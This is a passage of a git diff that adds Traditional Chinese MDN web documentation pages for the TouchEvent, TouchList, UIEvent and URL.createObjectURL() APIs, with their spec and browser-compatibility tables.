+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The <code>dom.w3c_touch_events.enabled</code> tri-state preference can be used to disable (0), enable (1), and auto-detect (2) support for standard touch events; by default, they're on auto-detect (2).</p>
+
+<p>As of Gecko 24.0 {{geckoRelease("24.0")}}, the touch events support introduced with Gecko 18.0 {{geckoRelease("18.0")}} has been disabled on the desktop version of Firefox ({{bug(888304)}}), as some popular sites including Google and Twitter were not working properly. Once the bug is fixed, the API will be enabled again. To enable it anyway, open <code>about:config</code> and set the <code>dom.w3c_touch_events.enabled</code> preference to <code>2</code>. The mobile versions including <a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a> and <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> are not affected by this change.</p>
+
+<p>[2] As of Gecko 52.0, touch events support has been fixed and reenabled in Windows desktop platforms.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Prior to Gecko 6.0 {{geckoRelease("6.0")}}, Gecko offered a <a href="/en-US/docs/Web/Guide/Events/Touch_events_(Mozilla_experimental)">proprietary touch event API</a>. That API is now deprecated; you should switch to this one.</p>
+</div>
diff --git a/files/zh-tw/web/api/touchevent/index.html b/files/zh-tw/web/api/touchevent/index.html
new file mode 100644
index 0000000000..5c435c008f
--- /dev/null
+++ b/files/zh-tw/web/api/touchevent/index.html
@@ -0,0 +1,201 @@
+---
+title: TouchEvent
+slug: Web/API/TouchEvent
+translation_of: Web/API/TouchEvent
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p><strong><code>TouchEvent</code></strong> 介面表示了一個由觸控平面因觸碰而改變狀態所發出的事件。平面可以是觸控螢幕或是觸控板，<code>TouchEvent</code> 能描述一或多個觸碰點，並且支援偵測其移動、增加或減少觸碰點等等功能。</p>
+
+<p>觸碰點是由 {{ domxref("Touch") }} 物件表示；每一個觸碰點描述了其位置、大小與形狀、壓力值以及目標元素。觸碰點列表由 {{ domxref("TouchList") }} 所表示。</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}</dt>
+ <dd>Creates a <code>TouchEvent</code> object.</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>此介面也繼承了其父介面 {{domxref("UIEvent")}} 與 {{domxref("Event")}} 的屬性</em></p>
+
+<dl>
+ <dt>{{ domxref("TouchEvent.altKey") }} {{readonlyInline}}</dt>
+ <dd>A Boolean value indicating whether or not the alt key was down when the touch event was fired.</dd>
+ <dt>{{ domxref("TouchEvent.changedTouches") }} {{readonlyInline}}</dt>
+ <dd>A {{ domxref("TouchList") }} of all the {{ domxref("Touch") }} objects representing individual points of contact whose states changed between the previous touch event and this one.</dd>
+ <dt>{{ domxref("TouchEvent.ctrlKey") }} {{readonlyInline}}</dt>
+ <dd>A Boolean value indicating whether or not the control key was down when the touch event was fired.</dd>
+ <dt>{{ domxref("TouchEvent.metaKey") }} {{readonlyInline}}</dt>
+ <dd>A Boolean value indicating whether or not the meta key was down when the touch event was fired.</dd>
+ <dt>{{ domxref("TouchEvent.shiftKey") }} {{readonlyInline}}</dt>
+ <dd>A Boolean value indicating whether or not the shift key was down when the touch event was fired.</dd>
+ <dt>{{ domxref("TouchEvent.targetTouches") }}{{readonlyInline}}</dt>
+ <dd>A {{ domxref("TouchList") }} of all the {{ domxref("Touch") }} objects that are both currently in contact with the touch surface <strong>and</strong> were also started on the same element that is the target of the event.</dd>
+ <dt>{{ domxref("TouchEvent.touches") }} {{readonlyInline}}</dt>
+ <dd>A {{ domxref("TouchList") }} of all the {{ domxref("Touch") }} objects representing all current points of contact with the surface, regardless of target or changed status.</dd>
+</dl>
+
+<h2 id="觸控事件類型">觸控事件類型</h2>
+
+<p>觸控事件有多個種類可以代表觸碰狀態發生了改變。可以藉由 {{ domxref("event.type", "TouchEvent.type") }} 屬性來確認是哪一個種類的觸控事件。</p>
+
+<h3 id="event(touchstart)">{{event("touchstart")}}</h3>
+
+<p>Sent when the user places a touch point on the touch surface. The event's target will be the {{ domxref("element") }} in which the touch occurred.</p>
+
+<h3 id="event(touchend)">{{event("touchend")}}</h3>
+
+<p>Sent when the user removes a touch point from the surface (that is, when they lift a finger or stylus from the surface). This is also sent if the touch point moves off the edge of the surface; for example, if the user's finger slides off the edge of the screen.</p>
+
+<p>The event's target is the same {{ domxref("element") }} that received the <code>touchstart</code> event corresponding to the touch point, even if the touch point has moved outside that element.</p>
+
+<p>The touch point (or points) that were removed from the surface can be found in the {{ domxref("TouchList") }} specified by the <code>changedTouches</code> attribute.</p>
+
+<h3 id="event(touchmove)">{{event("touchmove")}}</h3>
+
+<p>Sent when the user moves a touch point along the surface. The event's target is the same {{ domxref("element") }} that received the <code>touchstart</code> event corresponding to the touch point, even if the touch point has moved outside that element.</p>
+
+<p>This event is also sent if the values of the radius, rotation angle, or force attributes of a touch point change.</p>
+
+<div class="note"><strong>Note:</strong> The rate at which <code>touchmove</code> events is sent is browser-specific, and may also vary depending on the capability of the user's hardware. You must not rely on a specific granularity of these events.</div>
+
+<h3 id="event(touchcancel)">{{event("touchcancel")}}</h3>
+
+<p>Sent when a touch point has been disrupted in some way. There are several possible reasons why this might happen (and the exact reasons will vary from device to device, as well as browser to browser):</p>
+
+<ul>
+ <li>An event of some kind occurred that canceled the touch; this might happen if a modal alert pops up during the interaction.</li>
+ <li>The touch point has left the document window and moved into the browser's UI area, a plug-in, or other external content.</li>
+ <li>The user has placed more touch points on the screen than can be supported, in which case the earliest {{ domxref("Touch") }} in the {{ domxref("TouchList") }} gets canceled.</li>
+</ul>
+
+<h3 id="Using_with_addEventListener()_and_preventDefault()">Using with addEventListener() and preventDefault()</h3>
+
+<p>It's important to note that in many cases, both touch and mouse events get sent (in order to let non-touch-specific code still interact with the user). If you use touch events, you should call {{domxref("Event.preventDefault","preventDefault()")}} to keep the mouse event from being sent as well.</p>
+
+<p>The exception to this is Chrome, starting with version 56 (desktop, Chrome for android, and android webview), where the default value for {{event("touchstart")}} and {{event("touchmove")}} is <code>true</code> and calls to {{domxref("Event.preventDefault","preventDefault()")}} are not needed. To override this behavior, you simply set the <code>passive</code> option to <code>false</code> as shown in the example below. This change prevents the listener from blocking page rendering while a user is scrolling. A demo is available on the <a href="https://developers.google.com/web/updates/2016/06/passive-event-listeners">Google Developer</a> site.</p>
+
+<h2 id="GlobalEventHandlers">GlobalEventHandlers</h2>
+
+<p>{{SeeCompatTable}}</p>
+
+<dl>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchstart") }} {{experimental_inline}}</dt>
+ <dd>A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchstart")}} event.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchend") }} {{experimental_inline}}</dt>
+ <dd>A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchend")}} event.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchmove") }} {{experimental_inline}}</dt>
+ <dd>A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchmove")}} event.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchcancel") }} {{experimental_inline}}</dt>
+ <dd>A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchcancel")}} event.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>See the <a href="/en/DOM/Touch_events#Example" title="en/DOM/Touch events#Example">example on the main Touch events article</a>.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#touchevent-interface', 'TouchEvent')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Added <code>ontouchstart</code>, <code>ontouchend</code>, <code>ontouchmove</code>, <code>ontouchend</code> global attribute handlers</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touchevent-interface', 'TouchEvent')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>TouchEvent()</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Touch events were implemented in Gecko 18.0, but removed again in 24.0 {{geckoRelease("24.0")}} on the desktop version of Firefox due to web compatibility issues ({{bug(888304)}}).</p>
+
+<p>[2] As of Gecko 52.0, touch events support has been fixed and reenabled in Windows desktop platforms.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Touch_events","Touch Events Overview")}}</li>
+ <li>{{domxref("GestureEvent")}}</li>
+ <li>{{domxref("MSGestureEvent")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/touchlist/index.html b/files/zh-tw/web/api/touchlist/index.html
new file mode 100644
index 0000000000..d106b9df7d
--- /dev/null
+++ b/files/zh-tw/web/api/touchlist/index.html
@@ -0,0 +1,120 @@
+---
+title: TouchList
+slug: Web/API/TouchList
+translation_of: Web/API/TouchList
+---
+<div>
+<p>{{ APIRef("Touch Events") }}</p>
+</div>
+
+<p><code>TouchList</code> 介面表示了一個觸控平面上所有觸碰點的列表；舉例來說，假如使用者有三隻手指於觸控平面（如觸控螢幕或是觸控板）上，則其相對應的 <code>TouchList</code> 物件中就會分別有三個 {{domxref("Touch")}} 物件各代表一個手指的觸碰。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("TouchList.length")}} {{readonlyInline}}</dt>
+ <dd>The number of {{domxref("Touch")}} objects in the <code>TouchList</code>.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("TouchList.identifiedTouch()")}} {{obsolete_inline}}</dt>
+ <dd>Returns the first {{domxref("Touch")}} item in the list whose identifier matches a specified value.</dd>
+ <dt>{{domxref("TouchList.item()")}}</dt>
+ <dd>Returns the {{domxref("Touch")}} object at the specified index in the list.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>See the <a href="/en-US/docs/DOM/Touch_events#Example" title="DOM/Touch events#Example">example on the main Touch events article</a>.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#touchlist-interface')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Non-stable version.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touchlist-interface')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Touch events were implemented in Gecko 18.0, but removed again in 24.0 {{geckoRelease("24.0")}} on the desktop version of Firefox due to web compatibility issues ({{bug(888304)}}).</p>
+
+<p>[2] As of Gecko 52.0, touch events support has been fixed and reenabled in Windows desktop platforms.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Touch_events" title="DOM/Touch events">Touch events</a></li>
+ <li>{{domxref("Document.createTouchList()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/uievent/index.html b/files/zh-tw/web/api/uievent/index.html
new file mode 100644
index 0000000000..a5a1228ec8
--- /dev/null
+++ b/files/zh-tw/web/api/uievent/index.html
@@ -0,0 +1,188 @@
+---
+title: UIEvent
+slug: Web/API/UIEvent
+tags:
+  - 待翻譯
+translation_of: Web/API/UIEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>UIEvent</code></strong> 介面是使用者介面的事件的基本型態。</p>
+
+<p><code>UIEvent</code> 是從 {{domxref("Event")}} 衍伸過來。 雖然為了相容性，仍留著 {{domxref("UIEvent.initUIEvent()")}} 方法，建立 <code>UIEvent</code> 物件最好是選擇以 {{domxref("UIEvent.UIEvent", "UIEvent()")}} constructor 建立。</p>
+
+<p>許多介面直接或間接繼承此介面，例如：{{domxref("MouseEvent")}}、{{domxref("TouchEvent")}}、{{domxref("FocusEvent")}}、{{domxref("KeyboardEvent")}}、{{domxref("WheelEvent")}}、{{domxref("InputEvent")}} 和 {{domxref("CompositionEvent")}}。</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("UIEvent.UIEvent()", "UIEvent()")}}</dt>
+ <dd>建立一個 <code>UIEvent</code> 物件 。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>此介面亦繼承其父－－ {{domxref("Event")}} 的屬性：</em></p>
+
+<dl>
+ <dt>{{domxref("UIEvent.cancelBubble")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating whether the bubbling of the event has been canceled or not.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("UIEvent.detail")}}{{readonlyinline}}</dt>
+ <dd>Returns a <code>long</code> with details about the event, depending on the event type.</dd>
+ <dt>{{domxref("UIEvent.isChar")}} {{obsolete_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating whether the event produced a key character or not.</dd>
+ <dt>{{domxref("UIEvent.layerX")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the horizontal coordinate of the event relative to the current layer.</dd>
+ <dt>{{domxref("UIEvent.layerY")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the vertical coordinate of the event relative to the current layer.</dd>
+ <dt>{{domxref("UIEvent.pageX")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the horizontal coordinate of the event relative to the whole document.</dd>
+ <dt>{{domxref("UIEvent.pageY")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the vertical coordinate of the event relative to the whole document.</dd>
+ <dt>{{domxref("UIEvent.sourceCapabilities")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns an instance of the InputDeviceCapabilities interface which provides information about the physical device responsible for generating a touch event.</dd>
+ <dt>{{domxref("UIEvent.view")}}{{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("WindowProxy")}} that contains the view that generated the event.</dd>
+ <dt>{{domxref("UIEvent.which")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the numeric <code>keyCode</code> of the key pressed, or the character code (<code>charCode</code>) for an alphanumeric key pressed.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>此介面亦繼承其父－－ {{domxref("Event")}} 的方法：</em></p>
+
+<dl>
+ <dt>{{domxref("UIEvent.initUIEvent()")}} {{deprecated_inline}}</dt>
+ <dd>初始化 <code>UIEvent</code> 物件。若該事件已經觸發的話，此方法就不會執行任何東西。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('InputDeviceCapabilities')}}</td>
+   <td>{{Spec2('InputDeviceCapabilities')}}</td>
+   <td>Added <code>sourceCapabilities</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Added the <code>UIEvent()</code> constructor, deprecated the <code>initUIEvent()</code> method and changed the type of <code>view</code> from <code>AbstractView</code> to <code>WindowProxy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>UIEvent()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(11)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>cancelBubble</code> defined on Event</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(53)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>UIEvent()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(11)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>cancelBubble</code> defined on Event</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(53)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] From Firefox 52, this property is now defined on the {{domxref("Event")}} interface instead. See {{bug(1298970)}} for more details.</p>
+
+<p>[2] The {{domxref("UIEvent.isChar", "isChar")}} property has never been supported by any browser but Firefox, and even on Firefox it's never worked except on Mac OSX. For that reason, it's been removed in Firefox 55 to align with other browsers.</p>
+
+<h2 class="editable" id="參見"><span>參見</span></h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/uievent/uievent/index.html b/files/zh-tw/web/api/uievent/uievent/index.html
new file mode 100644
index 0000000000..d18be6387f
--- /dev/null
+++ b/files/zh-tw/web/api/uievent/uievent/index.html
@@ -0,0 +1,134 @@
+---
+title: UIEvent()
+slug: Web/API/UIEvent/UIEvent
+translation_of: Web/API/UIEvent/UIEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>UIEvent()</code></strong> constructor 是用來建立新的 {{domxref("UIEvent")}}。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"> <em>event</em> = new UIEvent(<em>typeArg</em>, <em>UIEventInit</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>一個 {{domxref("DOMString")}} ，用來表示事件名稱</dd>
+ <dt><em>UIEventInit</em>{{optional_inline}}</dt>
+</dl>
+
+<dl>
+ <dd>一個 <code>UIEventInit</code> dictionary ，能接受以下參數：
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th>參數</th>
+    <th>可選</th>
+    <th>默認值</th>
+    <th>類型</th>
+    <th>說明</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>"detail"</code></td>
+    <td>●</td>
+    <td><code>0</code></td>
+    <td><code>long</code></td>
+    <td>定義事件意義的值。關於事件的意義於 {{domxref("UIEvent.detail")}} 已有較詳盡的列表。</td>
+   </tr>
+   <tr>
+    <td><code>"view"</code></td>
+    <td>●</td>
+    <td><code>null</code></td>
+    <td>{{domxref("WindowProxy")}}</td>
+    <td>與事件相關的 {{domxref("Window")}} 。</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><em><code>UIEventInit</code> dictionary 亦接受 {{domxref("Event.Event", "EventInit")}} dictionary 所接受的參數。</em></p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">規格</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#interface-UIEvent','UIEvent()')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>原始定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(11) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(11) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{domxref("UIEvent")}}，此 constructer 所建立的 object 的 interface。</li>
+</ul>
diff --git a/files/zh-tw/web/api/url/createobjecturl/index.html b/files/zh-tw/web/api/url/createobjecturl/index.html
new file mode 100644
index 0000000000..8760dffaec
--- /dev/null
+++ b/files/zh-tw/web/api/url/createobjecturl/index.html
@@ -0,0 +1,137 @@
+---
+title: URL.createObjectURL()
+slug: Web/API/URL/createObjectURL
+translation_of: Web/API/URL/createObjectURL
+---
+<div>{{ApiRef("URL API")}}{{SeeCompatTable}}</div>
+
+<h2 id="摘要">摘要</h2>
+
+<p>靜態方法 <strong><code>URL.createObjectURL()</code></strong> 用於建立一個帶有URL的 {{domxref("DOMString")}} 以代表參數中所傳入的物件. 該URL的生命週期與創造它的window中的 {{domxref("document")}}一致. 這個新的物件URL 代表了所指定的 {{domxref("File")}} 物件 或是 {{domxref("Blob")}} 物件.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>objectURL</em> = URL.createObjectURL(<em>blob</em>);
+</pre>
+
+<h2 id="參數">參數</h2>
+
+<dl>
+ <dt><em>blob</em></dt>
+</dl>
+
+<dl>
+ <dd>一個用以建立物件URL的 {{domxref("File")}} 物件 或是 {{domxref("Blob")}} 物件.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<p>參見 <a href="/en-US/docs/Using_files_from_web_applications#Example.3A_Using_object_URLs_to_display_images" title="https://developer.mozilla.org/en/Using_files_from_web_applications#Example:_Using_object_URLs_to_display_images">Using object URLs to display images</a>.(藉由物件URL來顯示圖像)</p>
+
+<h2 id="注意事項">注意事項</h2>
+
+<p>每次呼叫 <code>createObjectURL()</code> 都會產生一個新的URL, 不論是否曾以同一物件產生過. 當你不再需要它們的時候必須對每一個都呼叫 {{domxref("URL.revokeObjectURL()")}} 來釋放它們. 瀏覽器會在document被unload時自動釋放它們; 然而, 為了最佳化效能與記憶體用量, 當有安全的時機請務必手動釋放它們.</p>
+
+<h2 id="規範文件">規範文件</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範文件</th>
+   <th scope="col">狀態</th>
+   <th scope="col">附註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-createObjectURL', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
